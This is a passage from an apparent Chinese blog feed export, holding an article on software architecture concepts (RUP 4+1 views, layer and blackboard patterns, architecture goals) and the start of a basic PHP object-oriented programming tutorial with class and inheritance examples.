[PW92]，由此记录主要的结构设计决策。这些设计决策必须基于需求以及功能、补充和其他方面的约束。而这些决策又会在较低层次上为需求和将来的设计决策施加进一步的约束。\n典型的构架视图集 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架由许多不同的构架视图来表示，这些视图本质上是以图形方式来摘要说明\u0026ldquo;在构架方面具有重要意义\u0026rdquo;的模型元素。在 Rational Unified Process 中，您将从一个典型的视图集开始，该视图集称为\u0026ldquo;4+1 视图模型\u0026rdquo;[KRU95]。它包括： 用例视图：包括用例和场景，这些用例和场景包括在构架方面具有重要意义的行为、类或技术风险。它是用例模型的子集。 逻辑视图：包括最重要的设计类、从这些设计类到包和子系统的组织形式，以及从这些包和子系统到层的组织形式。它还包括一些用例实现。它是设计模型的子集。 实施视图：包括实施模型及其从模块到包和层的组织形式的概览。 同时还描述了将逻辑视图中的包和类向实施视图中的包和模块分配的情况。它是实施模型的子集。 进程视图：包括所涉及任务（进程和线程）的描述，它们的交互和配置，以及将设计对象和类向任务的分配情况。只有在系统具有很高程度的并行时，才需要该视图。在 Rational Unified Process 中，它是设计模型的子集。 配置视图：包括对最典型的平台配置的各种物理节点的描述以及将任务（来自进程视图）向物理节点分配的情况。只有在分布式系统中才需要该视图。它是部署模型的一个子集。 构架视图记录在软件构架文档中。您可以构建其他视图来表达需要特别关注的不同方面：用户界面视图、安全视图、数据视图等等。对于简单系统，可以省略 4+1 视图模型中的一些视图。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架重点 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 虽然以上视图可以表示系统的整体设计，但构架只同以下几个具体方面相关： 模型的结构，即组织模式，例如分层。 基本元素，即关键用例、主类、常用机制等，它们与模型中的各元素相对。 几个关键场景，它们表示了整个系统的主要控制流程。 记录模块度、可选特征、产品线状况的服务。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架视图在本质上是整体设计的抽象或简化，它们通过舍弃具体细节来突出重要的特征。在考虑以下方面时，这些特征非常重要：\n系统演进，即进入下一个开发周期。 在产品线环境下复用构架或构架的一部分。 评估补充质量，例如性能、可用性、可移植性和安全性。 向团队或分包商分配开发工作。 决定是否包括市售构件。 插入范围更广的系统。 构架模式 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架模式是解决复发构架问题的现成形式。构架框架或构架基础设施（中间件）是可以在其上构建某种构架的构件集。许多主要的构架困难应在框架或基础设施中进行解决，而且通常针对于特定的领域：命令和控制、MIS、控制系统等等。\n构架模式示例\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; [BUS96] 根据构架模式最适用的系统的特征将其分类，其中一个类别处理更普遍的结构问题。下表显示了 [BUS96] 中所提供的类别和这些类别所包含的模式。\n类别 模式 结构 层 管道和过滤器 黑板 分布式系统 代理 交互系统 模型-视图-控制器 表示-抽象-控制 自适应系统 反射 微核 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件构架是一个容易理解的概念，多数工程师（尤其是经验不多的工程师）会从直觉上来认识它，但要给出精确的定义很困难。特别是，很难明确地区分设计和构架：构架属于设计的一方面，它集中于某些具体的特征。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在\u0026ldquo;软件构架简介\u0026rdquo;中，David Garlan 和 Mary Shaw 认为软件构架是有关如下问题的设计层次：\u0026ldquo;在计算的算法和数据结构之外，设计并确定系统整体结构成为了新的问题。结构问题包括总体组织结构和全局控制结 构；通信、同步和数据访问的协议；设计元素的功能分配；物理分布；设计元素的组成；定标与性能；备选设计的选择。\u0026rdquo;[GS93]\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但构架不仅是结构；IEEE Working Group on Architecture 把其定义为\u0026ldquo;系统在其环境中的最高层概念\u0026rdquo;[IEEE98]。构架还包括\u0026ldquo;符合\u0026rdquo;系统完整性、经济约束条件、审美需求和样式。它并不仅注重对内部的考虑， 而且还在系统的用户环境和开发环境中对系统进行整体考虑，即同时注重对外部的考虑。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在 Rational Unified Process 中，软件系统的构架（在某一给定点）是指系统重要构件的组织或结构，这些重要构件通过接口与不断减小的构件与接口所组成的构件进行交互。\n为阐明其含义，下面将详述其中的两个；完整说明请参见 [BUS96]。模式以下列广泛使用的形式来表示：\n模式名 环境 问题\n影响，描述应考虑的不同问题方面 解决方案\n基本原理 结果环境 示例 模式名\n层\n环境\n需要进行结构分解的大系统。\n问题\n必须处理不同抽象层次的问题的系统。例如：硬件控制问题、常见服务问题和针对于不同领域的问题。最好不要编写垂直构件来处理所有抽象层次的问题。否则要在不同的构件中多次处理相同的问题（可能会不一致）。\n影响\n系统的某些部分应当是可替换的 构件中的变化不应波动 相似的责任应归为一组 构件大小 \u0026#8212; 复杂构件可能要进行分解 解决办法\n将系统分成构件组，并使构件组形成层叠结构。使上层只使用下层（决不使用上层）提供的服务。尽量不使用非紧邻下层提供的服务（不跳层使用服务，除非中间层只添加通过构件）。\n示例：\n1. 通用层\n严格的分层构架规定设计元素（类、构件、包、子系统）只能使用下层提供的服务， 服务可以包括事件处理、错误处理、数据库访问等等。 相对于记录在底层的原始操作系统级调用，它包括更明显的机制。\n2. 业务系统层\n上图显示了另一个分层示例，其中有垂直特定应用层、水平层和基础设施层。注意：此处的目标是采用非常短的业务\u0026ldquo;烟囱\u0026rdquo;并实现各种应用程序间的通用性。 否则，就可能有多个人解决同一问题，从而导致潜在的分歧。\n有关该模式的深入讨论，请参见指南：分层。\n模式名\n黑板\n环境\n没有解决问题的确定方法（算法）或方法不可行的领域。例如 AI 系统、语音识别和监视系统。\n问题\n多个问题解决顾问（知识顾问）必须通过协作来解决他们无法单独解决的问题。各顾问的工作结果必须可以供所有其他顾问访问，使他们可以评估自己是否可以参与解决方案的查找并发布其工作结果。\n影响\n知识顾问参与解决问题的顺序不是确定的，这可能取决于问题解决策略 不同顾问的输入（结果或部分解决方案）可能有不同的表示方式 各顾问并不直接知道对方的存在，但可以评估对方发布的工作 解决办法\n多名知识顾问都可访问一个称为\u0026ldquo;黑板\u0026rdquo;的共享数据库。黑板提供监测和更新其内容的接口。控制模块/对象激活遵循某种策略的顾问。激活后，顾问查看黑板，以确定它是否能参与解决问题。如果顾问决定它可以参与，控制对象就可以允许顾问将其部分（或最终）解决方案放置于黑板上。\n示例：\n以上显示了使用 UML 建模的结构或静态视图。 它将成为参数化协作的一部分，然后会绑定到实参上对模式进行实例化。\n构架风格 软件构架（或仅是构架视图）可以具有名为构架风格 的属性，该属性减少了可选的形式，并使构架具有一定程度的一致性。样式可以通过一组模式或通过选择特定构件或连接器作为基本构件来定义。对给定系统，某些 样式可作为构架描述的一部分记录在构架风格指南（Rational Unified Process 中设计指南文档的一部分）中。样式在构架的可理解性与完整性方面起着主要的作用。\n构架设计图 构架视图的图形描述称为构架设计图。对于以上描述的各种视图，设计图由以下统一建模语言图组成 [UML99]： 逻辑视图：类图、状态机和对象图。 进程视图：类图与对象图（包括任务 \u0026#8211; 进程与线程）。 实施视图：构件图。 部署视图：配置图。 用例视图：用例图描述用例、主角和普通设计类；顺序图描述设计对象及其协作关系。 构架设计流程 在 Rational Unified Process 中，构架主要是分析设计工作流程的结果。当项目再次进行此工作流程时，构架将在一次又一次迭代中不断演化、改进、精炼。由于每次迭代都包括集成和测试，所以在交付产品时，构架就相当强壮了。构架是精化阶段各次迭代的重点，构架的基线通常会在此阶段结束时确定。\n架构师\n软体设计师中有一些技术水平较高、经验较为丰富的人，他们需要承担软件系统的架构设计，也就是需要设计系统的元件如何划分、元件之间如何发生相互作用，以及系统中逻辑的、物理的、系统的重要决定的作出。\n这样的人就是所谓的架构师（Architect）。在很多公司中，架构师不是一个专门的和正式的职务。通常在一个开发小组中，最有经验的程序员会负责一些架构方面的工作。在一个部门中，最有经验的项目经理会负责一些架构方面的工作。\n但是，越来越多的公司体认到架构工作的重要性，并且在不同的组织层次上设置专门的架构师位置，由他们负责不同层次上的逻辑架构、物理架构、系统架构的设计、配置、维护等工作。 卡内基梅隆大学软件研究所关于软件架构的定义\n","permalink":"https://hessian.cn/p/429.html","summary":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;软件架构（software architecture）是一系列相关的抽象模式，用于指导大型软件系统各个方面的设计。 软件架构是一个系统的草图。软件架构描述的对象是直接构成系统的抽象组件。各个组件之间的连接则明确和相对细致地描述组件之间的通讯。在实现阶段，这些抽象组件被细化为实际的组件，比如具体某个类或者对象。在面向对象领域中，组件之间的连接通常用接口_(计算机科学)来实现。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;软件体系结构是构建计算机软件实践的基础。与建筑师设定建筑项目的设计原则和目标，作为绘图员画图的基础一样，一个软件架构师或者系统架构师陈述软件构架以作为满足不同客户需求的实际系统设计方案的基础。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件构架是一个容易理解的概念，多数工程师（尤其是经验不多的工程师）会从直觉上来认识它，但要给出精确的定义很困难。特别是，很难明确地区分设计和构架：构架属于设计的一方面，它集中于某些具体的特征。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在\u0026ldquo;软件构架简介\u0026rdquo;中，David Garlan 和 Mary Shaw 认为软件构架是有关如下问题的设计层次：\u0026ldquo;在计算的算法和数据结构之外，设计并确定系统整体结构成为了新的问题。结构问题包括总体组织结构和全局控制结 构；通信、同步和数据访问的协议；设计元素的功能分配；物理分布；设计元素的组成；定标与性能；备选设计的选择。\u0026rdquo;[GS93]\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但构架不仅是结构；IEEE Working Group on Architecture 把其定义为\u0026ldquo;系统在其环境中的最高层概念\u0026rdquo;[IEEE98]。构架还包括\u0026ldquo;符合\u0026rdquo;系统完整性、经济约束条件、审美需求和样式。它并不仅注重对内部的考虑，而且还在系统的用户环境和开发环境中对系统进行整体考虑，即同时注重对外部的考虑。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在 Rational Unified Process 中，软件系统的构架（在某一给定点）是指系统重要构件的组织或结构，这些重要构件通过接口与不断减小的构件与接口所组成的构件进行交互。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 从和目的、主题、材料和结构的联系上来说，软件架构可以和建筑物的架构相比拟。一个软件架构师需要有广泛 的软件理论知识和相应的经验来事实和管理软件产品的高级设计。软件架构师定义和设计软件的模块化，模块之间的交互，用户界面风格，对外接口方法，创新的设 计特性，以及高层事物的对象操作、逻辑和流程。\n是一般而言，软件系统的架构（Architecture）有两个要素：\n\u0026middot;它是一个软件系统从整体到部分的最高层次的划分。\n一个系统通常是由元件组成的，而这些元件如何形成、相互之间如何发生作用，则是关于这个系统本身结构的重要信息。\n详细地说，就是要包括架构元件（Architecture Component）、联结器（Connector）、任务流（Task-flow）。所谓架构元素，也就是组成系统的核心\u0026quot;砖瓦\u0026quot;，而联结器则描述这些元件之间通讯的路径、通讯的机制、通讯的预期结果，任务流则描述系统如何使用这些元件和联结器完成某一项需求。\n\u0026middot;建造一个系统所作出的最高层次的、以后难以更改的，商业的和技术的决定。\n在建造一个系统之前会有很多的重要决定需要事先作出，而一旦系统开始进行详细设计甚至建造，这些决定就很难更改甚至无法更改。显然，这样的决定必定是有关系统设计成败的最重要决定，必须经过非常慎重的研究和考察。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 历史\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 早在1960年代，诸如E\u0026middot;W\u0026middot;戴克斯特拉就已经涉及软件架构这个概念了。自1990年代以来，部分由于在 Rational Software Corporation 和Microsoft内部的相关活动，软件架构这个概念开始越来越流行起来。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 卡内基梅隆大学和加州大学埃尔文分校在这个领域作了很多研究。卡内基\u0026middot;梅隆大学的Mary Shaw和David Garlan于1996年写了一本叫做 Software Architecture perspective on an emerging discipline的书，提出了软件架构中的很多概念，例如软件组件、连接器、风格等等。 加州大学埃尔文分校的软件研究院所做的工作则主要集中于架构风格、架构描述语言以及动态架构。\n计算机软件的历史开始于五十年代，历史非常短暂，而相比之下建筑工程则从石器时代就开始了，人类在几千年的建筑设计实践中积累了大量的经验和教训。建筑设计基本上包含两点，一是建筑风格，二是建筑模式。独特的建筑风格和恰当选择的建筑模式，可以使一个独一无二。\n下面的照片显示了中美洲古代玛雅建筑，Chichen-Itza大金字塔，九个巨大的石级堆垒而上，九十一级台阶（象征着四季的天数）夺路而出，塔顶的神殿耸入云天。所有的数字都如日历般严谨，风格雄浑。难以想象这是石器时代的建筑物。\n图1、位于墨西哥Chichen-Itza（在玛雅语中chi意为嘴chen意为井）的古玛雅建筑。（摄影：作者） 软件与人类的关系是架构师必须面对的核心问题，也是自从软件进入历史舞台之后就出 现的问题。与此类似地，自从有了建筑以来，建筑与人类的关系就一直是建筑设计师必须面对的核心问题。英国首相丘吉尔说，我们构造建筑物，然后建筑物构造我 们（We shape our buildings, and afterwards our buildings shape us）。英国下议院的会议厅较狭窄，无法使所有的下议院议员面向同一个方向入座，而必须分成两侧入座。丘吉尔认为，议员们入座的时候自然会选择与自己政见 相同的人同时入座，而这就是英国政党制的起源。Party这个词的原意就是\u0026quot;方\u0026quot;、\u0026quot;面\u0026quot;。政党起源的关键就是建筑物对人的影响。\n在软件设计界曾经有很多人认为功能是最为重要的，形式必须服从功能。与此类似地，在建筑学界，现代主义建筑流派的开创人之一Louis Sullivan也认为形式应当服从于功能（Forms follows function）。\n几乎所有的软件设计理念都可以在浩如烟海的建筑学历史中找到更为遥远的历史回响。最为著名的，当然就是模式理论和XP理论。\n架构的目标是什么\n正如同软件本身有其要达到的目标一样，架构设计要达到的目标是什么呢？一般而言，软件架构设计要达到如下的目标：\n\u0026middot;可靠性（Reliable）。软件系统对于用户的商业经营和管理来说极为重要，因此软件系统必须非常可靠。\n\u0026middot;安全行（Secure）。软件系统所承担的交易的商业价值极高，系统的安全性非常重要。\n\u0026middot;可扩展性（Scalable）。软件必须能够在用户的使用率、用户的数目增加很快的情况下，保持合理的性能。只有这样，才能适应用户的市场扩展得可能性。 \u0026middot;可定制化（Customizable）。同样的一套软件，可以根据客户群的不同和市场需求的变化进行调整。\n\u0026middot;可扩展性（Extensible）。在新技术出现的时候，一个软件系统应当允许导入新技术，从而对现有系统进行功能和性能的扩展\n\u0026middot;可维护性（Maintainable）。软件系统的维护包括两方面，一是排除现有的错误，二是将新的软件需求反映到现有系统中去。一个易于维护的系统可以有效地降低技术支持的花费\n\u0026middot;客户体验（Customer Experience）。软件系统必须易于使用。\n\u0026middot;市场时机（Time to Market）。软件用户要面临同业竞争，软件提供商也要面临同业竞争。以最快的速度争夺市场先机非常重要。\n架构的种类\n根据我们关注的角度不同，可以将架构分成三种：\n\u0026middot;逻辑架构、软件系统中元件之间的关系，比如用户界面，数据库，外部系统接口，商业逻辑元件，等等。\n比如下面就是笔者亲身经历过的一个软件系统的逻辑架构图\n图2、一个逻辑架构的例子\n从上面这张图中可以看出，此系统被划分成三个逻辑层次，即表象层次，商业层次和数据持久层次。每一个层次都含有多个逻辑元件。比如WEB服务器层次中有HTML服务元件、Session服务元件、安全服务元件、系统管理元件等。\n\u0026middot;物理架构、软件元件是怎样放到硬件上的。\n比如下面这张物理架构图描述了一个分布于北京和上海的分布式系统的物理架构，图中所有的元件都是物理设备，包括网络分流器、代理服务器、WEB服务器、应用服务器、报表服务器、整合服务器、存储服务器、主机等等。\n图3、一个物理架构的例子 \u0026middot;系统架构、系统的非功能性特征，如可扩展性、可靠性、强壮性、灵活性、性能等。\n系统架构的设计要求架构师具备软件和硬件的功能和性能的过硬知识，这一工作无疑是架构设计工作中最为困难的工作。\n此外，从每一个角度上看，都可以看到架构的两要素：元件划分和设计决定。 首先，一个软件系统中的元件首先是逻辑元件。这些逻辑元件如何放到硬件上，以及这些元件如何为整个系统的可扩展性、可靠性、强壮性、灵活性、性能等做出贡献，是非常重要的信息。\n其次，进行软件设计需要做出的决定中，必然会包括逻辑结构、物理结构，以及它们如何影响到系统的所有非功能性特征。这些决定中会有很多是一旦作出，就很难更改的。\n根据作者的经验，一个基于数据库的系统架构，有多少个数据表，就会有多少页的架构设计文档。比如一个中等的数据库应用系统通常含有一百个左右的数据表，这样的一个系统设计通常需要有一百页左右的架构设计文档。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架描述 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 为了讨论和分析软件构架，必须首先定义构架表示方式，即描述构架重要方面的方式。在 Rational Unified Process 中，软件构架文档记录有这种描述。\n构架视图 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们决定以多种构架视图来表示软件构架。每种构架视图针对于开发流程中的涉众（例如最终用户、设计人员、管理人员、系统工程师、维护人员等）所关注的特定方面。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架视图显示了软件构架如何分解为构件，以及构件如何由连接器连接来产生有用的形式 [PW92]，由此记录主要的结构设计决策。这些设计决策必须基于需求以及功能、补充和其他方面的约束。而这些决策又会在较低层次上为需求和将来的设计决策施加进一步的约束。\n典型的构架视图集 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架由许多不同的构架视图来表示，这些视图本质上是以图形方式来摘要说明\u0026ldquo;在构架方面具有重要意义\u0026rdquo;的模型元素。在 Rational Unified Process 中，您将从一个典型的视图集开始，该视图集称为\u0026ldquo;4+1 视图模型\u0026rdquo;[KRU95]。它包括： 用例视图：包括用例和场景，这些用例和场景包括在构架方面具有重要意义的行为、类或技术风险。它是用例模型的子集。 逻辑视图：包括最重要的设计类、从这些设计类到包和子系统的组织形式，以及从这些包和子系统到层的组织形式。它还包括一些用例实现。它是设计模型的子集。 实施视图：包括实施模型及其从模块到包和层的组织形式的概览。 同时还描述了将逻辑视图中的包和类向实施视图中的包和模块分配的情况。它是实施模型的子集。 进程视图：包括所涉及任务（进程和线程）的描述，它们的交互和配置，以及将设计对象和类向任务的分配情况。只有在系统具有很高程度的并行时，才需要该视图。在 Rational Unified Process 中，它是设计模型的子集。 配置视图：包括对最典型的平台配置的各种物理节点的描述以及将任务（来自进程视图）向物理节点分配的情况。只有在分布式系统中才需要该视图。它是部署模型的一个子集。 构架视图记录在软件构架文档中。您可以构建其他视图来表达需要特别关注的不同方面：用户界面视图、安全视图、数据视图等等。对于简单系统，可以省略 4+1 视图模型中的一些视图。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架重点 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 虽然以上视图可以表示系统的整体设计，但构架只同以下几个具体方面相关： 模型的结构，即组织模式，例如分层。 基本元素，即关键用例、主类、常用机制等，它们与模型中的各元素相对。 几个关键场景，它们表示了整个系统的主要控制流程。 记录模块度、可选特征、产品线状况的服务。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架视图在本质上是整体设计的抽象或简化，它们通过舍弃具体细节来突出重要的特征。在考虑以下方面时，这些特征非常重要：\n系统演进，即进入下一个开发周期。 在产品线环境下复用构架或构架的一部分。 评估补充质量，例如性能、可用性、可移植性和安全性。 向团队或分包商分配开发工作。 决定是否包括市售构件。 插入范围更广的系统。 构架模式 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架模式是解决复发构架问题的现成形式。构架框架或构架基础设施（中间件）是可以在其上构建某种构架的构件集。许多主要的构架困难应在框架或基础设施中进行解决，而且通常针对于特定的领域：命令和控制、MIS、控制系统等等。\n构架模式示例\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; [BUS96] 根据构架模式最适用的系统的特征将其分类，其中一个类别处理更普遍的结构问题。下表显示了 [BUS96] 中所提供的类别和这些类别所包含的模式。\n类别 模式 结构 层 管道和过滤器 黑板 分布式系统 代理 交互系统 模型-视图-控制器 表示-抽象-控制 自适应系统 反射 微核 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件构架是一个容易理解的概念，多数工程师（尤其是经验不多的工程师）会从直觉上来认识它，但要给出精确的定义很困难。特别是，很难明确地区分设计和构架：构架属于设计的一方面，它集中于某些具体的特征。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在\u0026ldquo;软件构架简介\u0026rdquo;中，David Garlan 和 Mary Shaw 认为软件构架是有关如下问题的设计层次：\u0026ldquo;在计算的算法和数据结构之外，设计并确定系统整体结构成为了新的问题。结构问题包括总体组织结构和全局控制结 构；通信、同步和数据访问的协议；设计元素的功能分配；物理分布；设计元素的组成；定标与性能；备选设计的选择。\u0026rdquo;[GS93]\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但构架不仅是结构；IEEE Working Group on Architecture 把其定义为\u0026ldquo;系统在其环境中的最高层概念\u0026rdquo;[IEEE98]。构架还包括\u0026ldquo;符合\u0026rdquo;系统完整性、经济约束条件、审美需求和样式。它并不仅注重对内部的考虑， 而且还在系统的用户环境和开发环境中对系统进行整体考虑，即同时注重对外部的考虑。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在 Rational Unified Process 中，软件系统的构架（在某一给定点）是指系统重要构件的组织或结构，这些重要构件通过接口与不断减小的构件与接口所组成的构件进行交互。\n为阐明其含义，下面将详述其中的两个；完整说明请参见 [BUS96]。模式以下列广泛使用的形式来表示：\n模式名 环境 问题\n影响，描述应考虑的不同问题方面 解决方案\n基本原理 结果环境 示例 模式名\n层\n环境\n需要进行结构分解的大系统。\n问题\n必须处理不同抽象层次的问题的系统。例如：硬件控制问题、常见服务问题和针对于不同领域的问题。最好不要编写垂直构件来处理所有抽象层次的问题。否则要在不同的构件中多次处理相同的问题（可能会不一致）。\n影响\n系统的某些部分应当是可替换的 构件中的变化不应波动 相似的责任应归为一组 构件大小 \u0026#8212; 复杂构件可能要进行分解 解决办法\n将系统分成构件组，并使构件组形成层叠结构。使上层只使用下层（决不使用上层）提供的服务。尽量不使用非紧邻下层提供的服务（不跳层使用服务，除非中间层只添加通过构件）。\n示例：\n1. 通用层\n严格的分层构架规定设计元素（类、构件、包、子系统）只能使用下层提供的服务， 服务可以包括事件处理、错误处理、数据库访问等等。 相对于记录在底层的原始操作系统级调用，它包括更明显的机制。\n2. 业务系统层\n上图显示了另一个分层示例，其中有垂直特定应用层、水平层和基础设施层。注意：此处的目标是采用非常短的业务\u0026ldquo;烟囱\u0026rdquo;并实现各种应用程序间的通用性。 否则，就可能有多个人解决同一问题，从而导致潜在的分歧。\n有关该模式的深入讨论，请参见指南：分层。\n模式名\n黑板\n环境\n没有解决问题的确定方法（算法）或方法不可行的领域。例如 AI 系统、语音识别和监视系统。\n问题\n多个问题解决顾问（知识顾问）必须通过协作来解决他们无法单独解决的问题。各顾问的工作结果必须可以供所有其他顾问访问，使他们可以评估自己是否可以参与解决方案的查找并发布其工作结果。\n影响\n知识顾问参与解决问题的顺序不是确定的，这可能取决于问题解决策略 不同顾问的输入（结果或部分解决方案）可能有不同的表示方式 各顾问并不直接知道对方的存在，但可以评估对方发布的工作 解决办法\n多名知识顾问都可访问一个称为\u0026ldquo;黑板\u0026rdquo;的共享数据库。黑板提供监测和更新其内容的接口。控制模块/对象激活遵循某种策略的顾问。激活后，顾问查看黑板，以确定它是否能参与解决问题。如果顾问决定它可以参与，控制对象就可以允许顾问将其部分（或最终）解决方案放置于黑板上。\n示例：\n以上显示了使用 UML 建模的结构或静态视图。 它将成为参数化协作的一部分，然后会绑定到实参上对模式进行实例化。\n构架风格 软件构架（或仅是构架视图）可以具有名为构架风格 的属性，该属性减少了可选的形式，并使构架具有一定程度的一致性。样式可以通过一组模式或通过选择特定构件或连接器作为基本构件来定义。对给定系统，某些 样式可作为构架描述的一部分记录在构架风格指南（Rational Unified Process 中设计指南文档的一部分）中。样式在构架的可理解性与完整性方面起着主要的作用。\n构架设计图 构架视图的图形描述称为构架设计图。对于以上描述的各种视图，设计图由以下统一建模语言图组成 [UML99]： 逻辑视图：类图、状态机和对象图。 进程视图：类图与对象图（包括任务 \u0026#8211; 进程与线程）。 实施视图：构件图。 部署视图：配置图。 用例视图：用例图描述用例、主角和普通设计类；顺序图描述设计对象及其协作关系。 构架设计流程 在 Rational Unified Process 中，构架主要是分析设计工作流程的结果。当项目再次进行此工作流程时，构架将在一次又一次迭代中不断演化、改进、精炼。由于每次迭代都包括集成和测试，所以在交付产品时，构架就相当强壮了。构架是精化阶段各次迭代的重点，构架的基线通常会在此阶段结束时确定。\n架构师\n软体设计师中有一些技术水平较高、经验较为丰富的人，他们需要承担软件系统的架构设计，也就是需要设计系统的元件如何划分、元件之间如何发生相互作用，以及系统中逻辑的、物理的、系统的重要决定的作出。\n这样的人就是所谓的架构师（Architect）。在很多公司中，架构师不是一个专门的和正式的职务。通常在一个开发小组中，最有经验的程序员会负责一些架构方面的工作。在一个部门中，最有经验的项目经理会负责一些架构方面的工作。\n但是，越来越多的公司体认到架构工作的重要性，并且在不同的组织层次上设置专门的架构师位置，由他们负责不同层次上的逻辑架构、物理架构、系统架构的设计、配置、维护等工作。 卡内基梅隆大学软件研究所关于软件架构的定义\n","title":"关于什么是架构"},{"content":"这里介绍了在PHP中的面向对象编程(OOP，Object Oriented Programming)。将向你演示如何通过使用一些OOP的概念和PHP的技巧来减少编码和提高质量。祝你好运！ 面向对象编程的概念： 不同的作者之间说法可能不一样，但是一个OOP语言必须有以下几方面： 抽象数据类型和信息封装 继承 多态 在PHP中是通过类来完成封装的： 代码: \u0026lt;?php class Something { // 在OOP类中，通常第一个字符为大写 var $x; function setX($v) { // 方法开始为小写单词，然后使用大写字母来分隔单词，例如getValueOfArea() $this-\u0026gt;x=$v; } function getX() { return $this-\u0026gt;x; } } ?\u0026gt; 当然你可以按自已的喜好进行定义，但最好保持一种标准，这样会更有效。 数据成员在类中使用\u0026quot;var\u0026quot;声明来定义，在给数据成员赋值之前，它们是没有类型的。一个数据成员可以是一个整数，一个数组，一个相关数组(associative array)或者是一个对象。 方法在类中被定义成函数形式，在方法中访问类成员变量时，你应该使用$this-\u0026gt;name，否则对一个方法来说，它只能是局部变量。 使用new操作符来创建一个对象： $obj=new Something; 然后你可以使用成员函数通过： $obj-\u0026gt;setX(5); $see=$obj-\u0026gt;getX(); 在这个例子中，setX成员函数将5赋值给对象的成员变量x(不是类的)，然后getX返回它的值5。 你可以象：$obj-\u0026gt;x=6那样通过类引用方式来存取数据成员，这不是一个很好的OOP习惯。我强烈建议通过方法来存取成员变量。如果 你把成员变量看成是不可处理的，并且只通过对象句柄来使用方法，你将是一 个好的OOP程序员。不幸的是，PHP不支持声明私有成员变量，所以不良代码在PHP中也是允许的。 继承在PHP中很容易实现，只要使用extend关键字。 代码: \u0026lt;?php class Another extends Something { var $y; function setY($v) { $this-\u0026gt;y=$v; } function getY() { return $this-\u0026gt;y; } } ?\u0026gt; \u0026quot;Another\u0026quot;类的对象现在拥有了父类(Something)的全部的数据成员及方法，而且还加上了自已的数据成 员和方法。 你可以使用 代码: $obj2=new Something; $obj2-\u0026gt;setX(6); $obj2-\u0026gt;setY(7); PHP现在还不支持多重继承，所以你不能从两个或两个以上类派生出新的类来。 你可以在派生类中重定义一个方法，如果我们在\u0026quot;Another\u0026quot;类中重定义了getX方法，我们就不能使 用\u0026quot;Something\u0026quot;中的getX方法了。如果你在派生类中声明了一个与基派同名的数据成员，那么当你处理它时， 它将\u0026ldquo;隐藏\u0026rdquo;基类的数据成员。 你可以在你的类中定义构造函数。构造函数是一个与类名同名的方法，当你创建一个类的对象时会被调 用，例如： 代码: \u0026lt;?php class Something { var $x; function Something($y) { $this-\u0026gt;x=$y; } function setX($v) { $this-\u0026gt;x=$v; } function getX() { return $this-\u0026gt;x; } } ?\u0026gt; 所以你可以创建一个对象，通过： $obj=new Something(6); 构造函数会自动地把6赋值给数据变量x。构造函数和方法都是普通的PHP函数，所以你可以使用缺省参数。 function Something($x=\u0026quot;3\u0026quot;,$y=\u0026quot;5\u0026quot;) 接着： $obj=new Something(); // x=3 and y=5 $obj=new Something(8); // x=8 and y=5 $obj=new Something(8,9); // x=8 and y=9 缺省参数使用C++的方式，所以你不能忽略Y的值，而给X一个缺省参数，参数是从左到右赋值的，如果传入的参数少于要求的参数时，其作的将使用缺省参数。 当一个派生类的对象被创建时，只有它的构造函数被调用，父类的构造函数没被调用，如果你想调用基类的构造函数，你必须要在派生类的构造函数中显示调用。可以这样做是因为在派生类中所有父类的方法都是可用的。 代码: \u0026lt;?php function Another() { $this-\u0026gt;y=5; $this-\u0026gt;Something(); //显示调用基类构造函数 } ?\u0026gt; 